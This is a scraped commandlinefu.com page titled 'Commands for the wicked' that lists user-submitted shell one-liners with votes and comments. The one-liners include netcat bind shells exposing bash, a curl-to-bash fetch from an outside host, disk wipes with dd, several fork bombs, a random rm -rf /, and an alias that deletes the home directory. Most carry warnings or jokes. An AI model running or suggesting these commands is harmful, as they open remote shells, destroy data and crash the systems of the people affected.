Hide

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again.

Delete that bloated snippets file you've been using and share your personal repository with the world. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.


If you have a new feature suggestion or find a bug, please get in touch via http://commandlinefu.uservoice.com/

Get involved!

You can sign-in using OpenID credentials, or register a traditional username and password.

First-time OpenID users will be automatically assigned a username which can be changed after signing in.

World cup college
Hide

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

Hide

News

2010-03-03 - Commandlinefu @ SXSW 2010
Am going to be at SXSW this year, in case you want to submit any CLI nuggets or suggestions to me in person. Ping me on the @codeinthehole Twitter account.
2009-09-12 - Email updates now available
You can now enable email updates to let you know each time you're command is commented on.
2009-07-11 - API and javascript blog widget now available
A simple API has been released, allowing commands to be retrieved in various formats. This also allows commands to be embedded on blogs/homepages.
2009-05-17 - Added duplicate suggestions to the new command form
When adding a new command, a quick background search is performed to make sure you're not duplicating a command already in the system.
Hide

Tags

Hide

Functions

Commands for the wicked

Commands for the wicked from sorted by
Terminal - Commands for the wicked - 31 results
!whatever:p
2009-02-05 21:39:39
User: jonty
141

!whatever will search your command history and execute the first command that matches 'whatever'. If you don't feel safe doing this put :p on the end to print without executing. Recommended when running as superuser.

nc -vv -l -p 1234 -e /bin/bash
2009-02-19 13:20:33
User: PeekNPoke
30

This will launch a listener on the machine that will wait for a connection on port 1234. When you connect from a remote machine with something like :

nc 192.168.0.1 1234

You will have console access to the machine through bash.

/bin/bash | nc -l 1234
2009-11-07 21:26:53
2

My netcat (nc-1.84-10.fc6) doesn't have the -e option, so I have to do it like this. Of course, instead of bash, you can use any executable, including scripts.

curl http://flip-edesign.com/scripts/system_info | bash
2009-08-29 20:18:02
User: flip387
0

This is a simple BASH script which with gather basic system hardware such as CPU sockets and cores, Memory modules and sizes as well as overall memory and more.

Root access may be needed to pull information from 'dmidecode'

dd if=/dev/zero of=/dev/hda
2009-02-16 00:04:23
User: cd
Functions: dd
-1

This will completely erase everything on your hard drive and is not reversible.

bomb(){ bomb|bomb };bomb
# hdparm -mRuUwx --dco-restore --drq-hsm-error --fwdownload --security-unlock PWD --security-set-pass PWD --security-disable PWD --security-erase PWD --security-erase-enhanced PWD --user-master USER --security-mode MODE [device]
2009-11-03 03:28:08
User: purpleidea
Functions: hdparm
-12

this is the most scary command that exists. read the hdparm man page. and see this post: http://dazzle.cs.mcgill.ca/wordpress/?p=36

echo && :(){ :|:& };:
2010-01-08 10:37:44
User: yvoictra
Functions: echo
-13

WARNING!! This command can produce to crash the unix system where you execute it. What this command do is to generate a lot of threads (so in practice -> process) until the system is overloaded, and to recover it, it is needed a reboot of the machine.

I believe it is interesting to study how this command works, however It is important to notice that executing this, the system is going to crash, so PLEASE save all the work you have opened before. Maybe it can also corrupt the system...

This is a fork bomb.

More info: http://en.wikipedia.org/wiki/Fork_bomb

b=\' c=\\ a='yes $( echo b=$c$b c=$c$c a=$b$a$b; echo $a ) | bash &'; yes $( echo b=$c$b c=$c$c a=$b$a$b; echo $a ) | bash &
:(){ :|:& };:
2009-02-05 10:20:00
User: adavies42
-20

exponentially spawns subprocesses until your box locks up.

DO NOT USE IF YOU DON'T WANT TO REBOOT!

How to backup hard disk timely?
2010-01-30 03:38:45
User: DemiMoore
-22

How to backup hard disk timely? Use Time Shuttle to backup your hard disk by takeing snapshots and thus to prevent data loss.

:(){ :|:& };:
[ "`whoami`" == "root" ] && ( [ $[ $RANDOM % 6 ] == 0 ] && ( dd if=/dev/null of=/dev/hda bs=1 ; halt; ) || echo Alive\! ) || echo No risk, no fun! Become root\!;
2009-10-14 08:50:57
User: Cowboy
Functions: dd echo
-24

Better don't run this command. Only funny on machines you'd like to kill.

:(){ :|:& };:
2009-02-18 03:24:06
User: zakmo
-26

creates a large number of processes very quickly in order to overload an OS

to stop this bomb in about 45 sec.

Type: while (sleep 100 &!) do; done

or do a killall

yes `yes`
:(){ :|:& };:
:(){:|:&};:
2009-02-18 16:39:27
User: TheBunman
-32

This command is a fork bomb! Proceed with caution. ;)

sh ~/.bash_history > /dev/null 2>&1
2009-02-11 04:45:33
User: fmdlc
Functions: sh
-32

It's a funny command what execute all the file ~/.bash_history

778.786.1103
Windows System Restore, individual file recovery, files backup
2010-01-29 02:20:37
User: DemiMoore
Functions: file
-37

Introduce three main ways to restore system. System restore is an effective way to solve most of system problems. Traditional methods of system restore have more or less limitations and new way has made great progress.

[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo *Click*
for disk in /dev/sd*; sudo dd if=/dev/urandom of=$disk; done
2009-02-05 22:05:46
User: HansReiser
Functions: dd sudo
-37

Alternatively, run as root and take out the sudo.

:(){ :|:&};:
2009-02-18 22:37:21
User: jaq
-39

Now try to recover without rebooting, for an extra 10 points.

:(){ :|:& };:
alias emacs='rm -rf ~/'